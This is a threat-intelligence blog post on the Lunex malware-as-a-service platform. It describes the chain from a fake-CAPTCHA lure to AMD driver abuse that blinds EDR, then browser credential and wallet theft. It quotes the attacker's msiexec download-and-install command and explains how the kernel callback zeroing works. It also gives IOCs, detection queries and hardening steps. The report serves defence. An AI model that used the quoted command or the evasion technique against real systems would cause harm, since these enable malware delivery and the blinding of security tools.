Lunex MaaS & Psychedelic Stealer: AMD PDFWKRNL.sys BYOVD Blinds EDR

·

What: Ontinue has published a teardown of Psychedelic Stealer, the payload of a malware-as-a-service platform called Lunex. The chain starts with a fake Cloudflare CAPTCHA and ends with a full command-and-control agent — abusing AMD's signed PDFWKRNL.sys driver (CVE-2023-20598) to blind endpoint defences instead of killing them.

Who & where: Delivery rides on compromised legitimate Ukrainian websites and targets Ukrainian-speaking users. Ontinue counted 28 unique panels across 13 countries, with C2 panels hosted in Russia, the U.S., the U.K., the Netherlands, France, Germany, Turkey and Bangladesh.

Why it matters: Ontinue confirmed that neither HVCI nor the current Microsoft Vulnerable Driver Blocklist blocks the specific PDFWKRNL.sys variant, despite its hash sitting in the LOLDrivers catalogue since March 2026. BYOVD as a precursor to a commodity infostealer — with quiet callback zeroing rather than noisy process kills — is what makes this campaign worth a closer look.

◈ Table of Contents

01 Campaign Profile: Lunex MaaS 02 Disclosure Timeline 03 Initial Access: ClickFix & Clipboard 04 Technical Deep Dive: BYOVD 05 Post-Exploitation & Theft 06 C2 Infrastructure 07 DFIR Investigation Steps 08 Indicators of Compromise 09 Detection & Hunt Queries 10 MITRE ATT&CK Mapping 11 Mitigation & Hardening 12 Sources & References
🛰️

01 · Campaign Profile: Lunex MaaS

Attribution

Lunex is not a single piece of malware; it is a productised platform. Ontinue tracks it as a malware-as-a-service (MaaS) operation whose customer-facing payload is Psychedelic Stealer — a name lifted from the delivered binary, psychedeliclove.exe. Arctic Wolf Labs first documented the stealer itself; Ontinue's researcher Rhys Downing tied it to the wider Lunex platform and mapped the delivery chain end to end.

Scale is the headline. Ontinue enumerated 28 unique Lunex panels spread across 13 countries, and described the operation as actively expanding — either run by a single actor or resold to affiliates. That panel sprawl, combined with a June 2026 sighting of six live C2 panels by researcher Luke Wilkinson (BlueTeamCoolTeam), points to a maturing service rather than a one-off campaign.

AttributeDetail
Platform nameLunex (malware-as-a-service)
Payload / aliasPsychedelic Stealer (psychedeliclove.exe)
LoaderLunexLoader
First public referenceJune 2026
Panels observed28 unique panels across 13 countries
Panel hostingRussia, U.S., U.K., Netherlands, France, Germany, Turkey, Bangladesh
Primary victimologyUkrainian-speaking users via compromised legitimate sites
AttributionUnattributed operator; MaaS model (single actor or resold). Reported as a Russian-nexus infostealer targeting Ukrainian users.
ReportingOntinue (Rhys Downing); Arctic Wolf Labs (initial stealer doc); BlueTeamCoolTeam (Luke Wilkinson, June 2026)

Do not read "MaaS" as low-skill. The delivery chain here layers a UAC bypass, a kernel-mode BYOVD defence-evasion step and a browser-resident C2 bridge — capabilities usually reserved for the intrusion set, not the commodity stealer tier.

The targeting is geographically tight but the infrastructure is global. Compromised Ukrainian websites act as the funnel, while the panels and phishing domains that answer to them are scattered across eight hosting countries — a separation that complicates takedown and blurs attribution.

🗓️

02 · Disclosure Timeline

Chronology

The pieces of this story landed over several months. The driver at the centre of the chain was flagged as vulnerable years before Lunex weaponised it, and the specific malicious PDFWKRNL.sys variant was catalogued publicly six months before the campaign write-up.

01
Sequence of events
timeline
  • 12023 — AMD discloses CVE-2023-20598, an improper-privilege-management flaw in the AMD Radeon graphics driver, fixed in Adrenalin 23.9.2 / Pro 23.Q4.
  • 2March 2026 — The specific malicious PDFWKRNL.sys variant's hash is added to the LOLDrivers project.
  • 3June 2026 — Earliest public references to Lunex; BlueTeamCoolTeam identifies six active C2 panels.
  • 42026 — Arctic Wolf Labs documents the Psychedelic Stealer payload.
  • 5September 26, 2026 — Ontinue publishes the full four-stage chain, links it to Lunex, and confirms the HVCI / Vulnerable Driver Blocklist gap.

A driver hash living in LOLDrivers is not the same as it being blocked. LOLDrivers is a knowledge base; enforcement depends on your WDAC policy or the Microsoft blocklist actually carrying and applying that hash.

🎣

03 · Initial Access: ClickFix & Clipboard

Delivery

Access begins on trusted ground. Lunex operators compromise legitimate Ukrainian websites and inject an iframe that renders a counterfeit Cloudflare "verify you are human" CAPTCHA — the now-familiar ClickFix pattern. Ontinue reports the compromised sites belonged to ordinary small businesses: a hair-treatment clinic, a scale-model manufacturer, a specialist bookseller, a psychological facility, a tool retailer and an automotive retailer.

The twist is what the fake CAPTCHA does. Rather than trigger a PowerShell one-liner — the common ClickFix payload SOC teams have learned to hunt — the page copies an msiexec command to the clipboard and instructs the user to paste it into the Windows Run dialog:

// clipboard payload pasted into Win+R (defanged)
Msiexec.exe /i hxxps://uasputnik[.]com/elita.msi /passive ORG_NOTE=...

The /passive flag suppresses UI, and remote MSI installation via msiexec is a signed, expected Windows behaviour — so the initial download and execution look benign to controls tuned only for powershell.exe spawned from a browser. The MSI (elita.msi) is served from the delivery domain uasputnik[.]com.

🧩

Trusted Origin

The lure is served from real, compromised Ukrainian business sites — no typosquat domain to flag in the browser bar.

📋

Clipboard Hand-off

The victim pastes the command themselves, so there is no automated download chain for a proxy to intercept.

📦

MSI, Not PowerShell

msiexec execution sidesteps detections narrowly scoped to powershell.exe under a browser parent.

ClickFix now routinely swaps its final verb. If your only ClickFix rule watches for powershell.exe or mshta.exe launched from a browser, an msiexec /i https://… paste will walk straight past it.

🧬

04 · Technical Deep Dive: The BYOVD Chain

Core mechanics

This is the phase that makes Lunex interesting. Ontinue describes a four-stage attack chain that runs from the MSI to a fully featured C2 agent. The middle two stages — UAC bypass and kernel-mode defence evasion — are the ones a commodity stealer usually skips.

Stage flow reconstructed from Ontinue's analysis — MSI → loader → kernel BYOVD → stealer/C2.
01
Stage 1 — MSI drops LunexLoader
execution

The pasted msiexec /i command pulls elita.msi from uasputnik[.]com and installs quietly under /passive. The MSI stages LunexLoader, the orchestration component responsible for privilege escalation, defence evasion and fetching the final payload.

02
Stage 2 — CMSTPLUA UAC bypass
priv-esc

LunexLoader elevates by abusing the CMSTPLUA auto-elevate COM object — a long-known UAC-bypass technique that lets a medium-integrity process obtain a high-integrity token without a consent prompt. Elevation is the prerequisite for the next step: loading a kernel-mode driver requires administrative rights.

CMSTPLUA abuse surfaces as a COM elevation moniker (Elevation:Administrator!new:{3E5FC7F9-9A51-4367-9063-A120244FBEC7}) instantiated by an unusual, unsigned parent. That COM CLSID is a durable hunt anchor.

03
Stage 3 — BYOVD: PDFWKRNL.sys & CVE-2023-20598
defense-evasion

With admin rights, LunexLoader drops and loads PDFWKRNL.sys, a legitimately signed AMD Radeon Software kernel driver that is vulnerable to CVE-2023-20598. Per NVD, that flaw (CVSS 3.1 base 7.8, HIGH; CWE-269 improper privilege management) lets a low-privileged user issue crafted IOCTLs to read and write arbitrary physical memory and I/O ports — an arbitrary kernel read/write primitive delivered by a Microsoft-trusted, signed binary.

What Lunex does with that primitive is the notable part. Instead of terminating security processes — which trips tamper-protection alarms and shows up as a missing service — the loader performs PDB-guided kernel callback zeroing. It resolves the offsets of EDR/AV notification callbacks (process-creation, image-load and similar kernel callback arrays) using symbol/PDB information, then writes zeros over those callback entries. The security agents keep running; they simply stop receiving the kernel telemetry they depend on. Ontinue characterises the result as leaving security products "running but blind."

Ontinue validated that neither HVCI nor the current Microsoft Vulnerable Driver Blocklist stops this specific PDFWKRNL.sys variant from loading — a gap that persists even though the hash has been in LOLDrivers since March 2026. Assume the OS-default blocklist is not covering you here.

Callback zeroing is quieter than a kill, but it is not invisible. The driver load event for a graphics driver from a non-standard path, on a host with no AMD GPU, is the tell. Hunt the load, not the (now-absent) callbacks.

04
Stage 4 — Psychedelic Stealer & C2 agent
objective

With telemetry suppressed, the loader deploys psychedeliclove.exe (SHA-256 06f434695f93d7fd11eeff71358ff69fed79d310a66d993bbcc4ff979c117c90). This is the data-theft and C2 stage: it harvests browser credentials and wallets in one pass, then installs a persistent, browser-resident remote-access bridge. Command-and-control is plain HTTP to 193.178.159[.]128:8080, with a task-tracking file executed_tasks.json recording completed jobs.

💾

05 · Post-Exploitation & Data Theft

Objectives

Psychedelic Stealer's collection scope is broad for a commodity stealer, and its persistence is unusually resilient because it lives inside the browser.

Target classSpecifics reported
Browser credentialsChrome, Microsoft Edge, Brave, Yandex, Opera, Opera GX, Vivaldi (Chromium-based)
Desktop walletsBitcoin Core, Litecoin Core, Exodus, Atomic Wallet, Electrum
Wallet extensionsMetaMask, MetaMask Legacy, OKX Wallet, SafePal Wallet
PersistenceRegistry Run key; scheduled task psychedelicloveUtils (at logon); Chrome Native Messaging Host
C2 bridgeNative Messaging Host com.lunex.explorer; 13,200-byte PowerShell embedded in the binary's .rdata section

The Native Messaging Host (NMH) is the standout. Rather than a standalone RAT, Lunex registers a browser NMH — com.lunex.explorer — backed by a 13,200-byte PowerShell script carried in the stealer's .rdata section. Native Messaging lets a browser extension talk to a local process, and here it becomes a remote filesystem and execution bridge that survives inside the browser's trust boundary. Ontinue enumerated six filesystem actions exposed through it:

NMH
com.lunex.explorer — exposed operations
remote fs
  • 1list_drives — enumerate drive letters C through Z.
  • 2list_dir — list directory contents with file sizes.
  • 3read_file — read arbitrary files in 512 KB chunks, up to 524 MB.
  • 4write — write arbitrary data to any file path.
  • 5download — pull files off the system.
  • 6run — execute arbitrary programs; supported payloads include EXE, BAT, MSI and PowerShell.

The malicious browser extension is granted an aggressive permission set — cookies, history, bookmarks, tabs, storage, proxy, scripting, declarativeNetRequest, and all HTTP/HTTPS URLs — turning the browser into both a data source and a live control channel.

Because the C2 bridge is a Native Messaging Host, reimaging the "malware" process is not enough. If the malicious extension and its NMH registration survive, the operator keeps read/write/run access to the endpoint through the browser.

🌐

06 · C2 Infrastructure

Infra pivots

Command-and-control is deliberately unremarkable at the protocol level — plain HTTP — but the surrounding infrastructure gives defenders several pivot points.

ElementValueRole
C2 server193.178.159[.]128:8080HTTP command-and-control
Delivery domainuasputnik[.]com (176.53.159[.]40)Hosts elita.msi
Job logexecuted_tasks.jsonTracks completed C2 tasks on host
Panel countriesRU, US, UK, NL, FR, DE, TR, BDMaaS panel hosting

Ontinue also linked a set of phishing domains to a Turkey-hosted panel, showing the platform is used for credential-phishing lures beyond the Ukrainian stealer delivery:

Phishing domain (defanged)Impersonation theme
account-sams-club[.]comSam's Club account
teamwork-recover-password[.]comPassword recovery
namshi-uae[.]comNamshi (UAE retail)
whatsappbusineses[.]comWhatsApp Business
ibraq-perfumes[.]comRetail / perfumes
// infrastructure pivots — Shodan / Censys
# Shodan: find hosts serving on the Lunex C2 port pattern shodan search "HTTP" port:8080 ip:193.178.159.128 # Censys: pivot on the delivery IP and adjacent netblock censys search "ip: 176.53.159.40 or ip: 193.178.159.128" # Passive DNS: what else resolved to the delivery host? pdns 176.53.159.40 # pivot for sibling delivery domains

Plain-HTTP C2 on a non-standard port (8080) with a JSON task-log artifact (executed_tasks.json) is a strong composite signature. Beacon detection on unencrypted 8080 to a fresh IP is a cheaper win than deep payload analysis.

🔎

07 · DFIR Investigation Steps

Responder runbook

If you suspect a Lunex infection on a host, work the chain in order. Because Stage 3 blinds live EDR, prioritise host-based artifacts that survive callback zeroing — driver load logs, scheduled tasks, browser NMH registrations and network records collected off-host.

RUN
First-hour triage order
IR
  • 1Confirm delivery: check browser history and proxy logs for the fake-CAPTCHA site and any request to uasputnik[.]com/elita.msi.
  • 2Check clipboard/Run MRU: inspect HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\RunMRU for an msiexec /i http… entry.
  • 3Hunt the driver: look for a PDFWKRNL.sys load event (Sysmon EID 6) from a non-standard path, especially on hosts with no AMD GPU.
  • 4Enumerate persistence: the scheduled task psychedelicloveUtils and the Run key; export both before remediation.
  • 5Inspect the browser: look for a Native Messaging Host manifest named com.lunex.explorer and an extension with the aggressive permission set.
  • 6Pull network records: off-host firewall/NetFlow for HTTP to 193.178.159[.]128:8080.
  • 7Hash-match: scan for psychedeliclove.exe by SHA-256 and locate executed_tasks.json.
  • 8Assume EDR blindness: validate agent callback health; if the host was compromised, treat local EDR telemetry from the window after driver load as unreliable.

Collect volatile evidence before you kill the process. The C2 run primitive can have staged additional payloads that will not be captured once you reboot or reimage.

🧾

08 · Indicators of Compromise

IOCs

All indicators below are drawn from Ontinue's reporting and corroborating coverage. Defang is applied for safety; re-arm before use in tooling.

// File & host artifacts
TypeIndicator
SHA-25606f434695f93d7fd11eeff71358ff69fed79d310a66d993bbcc4ff979c117c90 (psychedeliclove.exe)
Filenamepsychedeliclove.exe
Filenameelita.msi (delivered installer)
DriverPDFWKRNL.sys (AMD Radeon; CVE-2023-20598)
Scheduled taskpsychedelicloveUtils
Native Messaging Hostcom.lunex.explorer
Job-log artifactexecuted_tasks.json
// Network indicators (defanged)
TypeIndicator
C2193.178.159[.]128:8080 (HTTP)
Delivery domainuasputnik[.]com
Delivery IP176.53.159[.]40
Phishingaccount-sams-club[.]com
Phishingteamwork-recover-password[.]com
Phishingnamshi-uae[.]com
Phishingwhatsappbusineses[.]com
Phishingibraq-perfumes[.]com
🖼️ Ontinue infection-chain diagram (via The Hacker News)View the original chain graphic on the source — not re-hosted here ↗
📡

09 · Detection & Hunt Queries

KQL + SPL

Each query below is paired KQL (Microsoft Sentinel / Defender) and SPL (Splunk), with a one-line statement of what it finds. Tune paths and field names to your schema.

// 1 — ClickFix: msiexec installing a remote MSI (Win+R paste)

Finds msiexec pulling an MSI over HTTP/S, the Lunex delivery pattern.

// KQL — Defender for Endpoint DeviceProcessEvents | where FileName =~ "msiexec.exe" | where ProcessCommandLine has_any ("http://", "https://") and ProcessCommandLine has "/i" | where ProcessCommandLine has_any (".msi", "/passive", "/quiet") | project Timestamp, DeviceName, InitiatingProcessFileName, ProcessCommandLine
``` SPL — Splunk (Sysmon EID 1)``` index=win EventCode=1 Image="*\\msiexec.exe" CommandLine="*/i*http*" (CommandLine="*.msi*" OR CommandLine="*/passive*") | stats count values(CommandLine) by host, ParentImage
// 2 — Suspicious RunMRU entry (Win+R execution)

Finds the tell-tale msiexec/http command left in the Run dialog history.

// KQL — registry write to RunMRU DeviceRegistryEvents | where RegistryKey has @"\Explorer\RunMRU" | where RegistryValueData has_any ("msiexec", "http", "powershell") | project Timestamp, DeviceName, RegistryValueName, RegistryValueData
``` SPL — Sysmon EID 13 (registry value set)``` index=win EventCode=13 TargetObject="*\\Explorer\\RunMRU*" Details="*msiexec*" OR Details="*http*" | table _time, host, TargetObject, Details
// 3 — Vulnerable driver load (PDFWKRNL.sys BYOVD)

Finds the AMD driver loading — the loud moment before EDR goes blind.

// KQL — driver / image load DeviceImageLoadEvents | where FileName =~ "PDFWKRNL.sys" | project Timestamp, DeviceName, FolderPath, InitiatingProcessFileName, SHA256 // enrich: alert if host has no AMD GPU / driver installed from a temp path
``` SPL — Sysmon EID 6 (driver loaded)``` index=win EventCode=6 ImageLoaded="*PDFWKRNL.sys" | stats count values(ImageLoaded) values(Signature) by host, Hashes
// 4 — Persistence: scheduled task + browser NMH

Finds the psychedelicloveUtils task and the com.lunex.explorer Native Messaging Host manifest.

// KQL — task creation or NMH manifest write union DeviceProcessEvents, DeviceFileEvents | where ProcessCommandLine has "psychedelicloveUtils" or FileName =~ "com.lunex.explorer.json" or FolderPath has @"\NativeMessagingHosts\com.lunex.explorer" | project Timestamp, DeviceName, FileName, FolderPath, ProcessCommandLine
``` SPL — task register (EID 1/4698) or NMH file write (EID 11)``` index=win (CommandLine="*psychedelicloveUtils*" OR (EventCode=11 TargetFilename="*NativeMessagingHosts\\com.lunex.explorer*")) | table _time, host, EventCode, CommandLine, TargetFilename
// 5 — C2 beacon to the Lunex host

Finds plain-HTTP traffic to the known C2 IP on port 8080.

// KQL — network connection to C2 DeviceNetworkEvents | where RemoteIP == "193.178.159.128" or RemoteUrl has "uasputnik" | project Timestamp, DeviceName, RemoteIP, RemotePort, RemoteUrl, InitiatingProcessFileName
``` SPL — proxy / firewall``` index=proxy (dest_ip="193.178.159.128" dest_port=8080) OR url="*uasputnik*" | stats count sum(bytes_out) by src_ip, dest_ip, dest_port, url
What this detection set covers
  • Delivery — remote MSI via msiexec and the RunMRU paste artifact
  • Evasion — the PDFWKRNL.sys BYOVD driver load event
  • Persistence — the psychedelicloveUtils task and com.lunex.explorer NMH
  • Command-and-control — HTTP beacon to 193.178.159[.]128:8080
🎯

10 · MITRE ATT&CK Mapping

TTPs
TacticTechniqueID
Initial AccessDrive-by Compromise (compromised sites)T1189
ExecutionUser Execution: Malicious Copy/Paste (ClickFix)T1204
Defense EvasionSystem Binary Proxy Execution: MsiexecT1218.007
Priv. EscalationAbuse Elevation Control: Bypass UAC (CMSTPLUA)T1548.002
Priv. EscalationExploitation for Privilege Escalation (BYOVD, CVE-2023-20598)T1068
Defense EvasionImpair Defenses: Disable or Modify Tools (callback zeroing)T1562.001
PersistenceRegistry Run Keys / Startup FolderT1547.001
PersistenceScheduled Task/Job (psychedelicloveUtils)T1053.005
PersistenceBrowser Extensions / Native Messaging HostT1176
Credential AccessCredentials from Web BrowsersT1555.003
CollectionData from Local SystemT1005
Command & ControlApplication Layer Protocol: Web (HTTP)T1071.001
ExfiltrationExfiltration Over C2 ChannelT1041
🛡️

11 · Mitigation & Hardening

Defensive actions

The chain has several distinct choke points. You do not need to catch every stage — breaking any one of them stops the objective.

01
Block the vulnerable driver
kernel

Do not rely on HVCI or the default Microsoft Vulnerable Driver Blocklist for this variant — Ontinue confirmed both miss it. Deploy an explicit WDAC deny rule for the PDFWKRNL.sys hash and, where feasible, block by the driver's signing attributes. Pull the current hash from LOLDrivers into your policy.

// WDAC — add a deny rule for the driver hash (PowerShell)
New-CIPolicyRule -DriverFilePath "C:\quarantine\PDFWKRNL.sys" -Level Hash Merge-CIPolicy -PolicyPaths .\Base.xml,.\Deny_PDFWKRNL.xml -OutputFilePath .\Merged.xml # deploy Merged.xml via MDM/GPO and enforce
02
Neutralise the ClickFix / Run vector
delivery
  • 1Disable the Win+R Run box for standard users via GPO (User Configuration → Administrative Templates → Start Menu and Taskbar → Remove Run menu) where the workflow allows.
  • 2Alert on msiexec.exe installing an MSI from an http(s) URL — a rare, high-signal event in most fleets.
  • 3Restrict remote MSI installs via AppLocker / WDAC and block outbound to unknown MSI-hosting domains at the proxy.
03
Constrain UAC-bypass and browser abuse
hardening
  • 1Set UAC to always prompt (ConsentPromptBehaviorAdmin = 2) to raise the cost of CMSTPLUA-style auto-elevation.
  • 2Enforce an enterprise browser extension allowlist (ExtensionInstallAllowlist) and audit Native Messaging Host manifests as persistence.
  • 3Block the IOCs in Phase 08 at proxy/firewall/DNS; add the SHA-256 to EDR custom indicators.
  • 4For confirmed hosts, reset all browser-stored credentials and rotate any crypto wallet seeds handled on the machine — assume exfiltration.
Remediation complete when
  • PDFWKRNL.sys is denied by WDAC and no longer loads on any endpoint
  • The psychedelicloveUtils task and Run key are removed
  • The com.lunex.explorer NMH and malicious extension are removed from every profile
  • No host beacons to 193.178.159[.]128:8080; IOCs blocked fleet-wide
  • All exposed browser credentials and wallet secrets are rotated
📚

12 · Sources & References

Primary
The Hacker News — Lunex Stealer Abuses AMD Driver to Disable Security Monitoring (2026-09-26) Security Magazine — New Russian Infostealer Targeting Ukrainian Users daily.dev — The Psychedelic Stealer: When a CAPTCHA Becomes an Installer (Ontinue summary) NVD — CVE-2023-20598 (AMD Radeon driver, CVSS 7.8 HIGH, CWE-269) LOLDrivers — Living Off The Land Drivers project

Check your exposure now. Run the file hash, C2 IP and delivery domain from this report through the CyberHawk IOC Scanner to sweep your environment for Lunex indicators, and browse the CyberHawk Threat Intel feed for the latest BYOVD and infostealer coverage. Need a repeatable playbook? Our SOP library covers security-tool tampering and driver-abuse response step by step.

◈ Stay Connected

Follow CyberHawk Threat Intel for threat intelligence, deployment guides and hands-on SOC tooling content.

🌐 Website ▶️ YouTube ▶️ YouTube (2) 𝕏 Twitter / X ♪ TikTok ✈️ Telegram
🔍 IOC Scanner 🛠️ Live Tools 📚 Courses 🚨 Threat Intel 📝 Blog 📋 SOPs

"They can't exploit you if you are the Exploit."